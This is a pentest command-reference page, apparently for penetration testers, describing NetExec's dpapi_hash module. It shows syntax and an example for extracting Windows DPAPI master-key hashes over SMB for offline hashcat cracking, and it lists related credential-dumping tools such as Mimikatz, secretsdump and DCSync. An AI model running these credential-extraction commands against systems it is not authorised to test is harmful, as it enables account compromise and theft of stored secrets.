NetExec dpapi_hash Module

Extract DPAPI master-key hashes for offline cracking with hashcat (mode 15300 for v1 / 15900 for v2). Lighter than full DPAPI decryption — drops just the encrypted key blobs and metadata so you can crack the user's password offline if you only have a low-priv shell. Requires local admin or the target user's hive access.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

nxc

Category

Credential Attacks / Hash Dumping

Platform

linux

Requires

password

Protocols

SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb <target> -u '<user>' -p '<password>' -M dpapi_hash

Examples

nxc smb 10.10.10.10 -u administrator -p 'Password123!' -M dpapi_hash

Tags

netexec nxc dpapi hashcat offline-cracking

References

• DPAPI hash modes (hashcat)

Related commands

• Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
• Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
• Impacket Targeted DCSync (Single User) DCSync only one specific account instead of replicating the whole NTDS. Massively…
• Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
• Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
• Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
• Mimikatz lsadump::dcsync Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR…
• Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…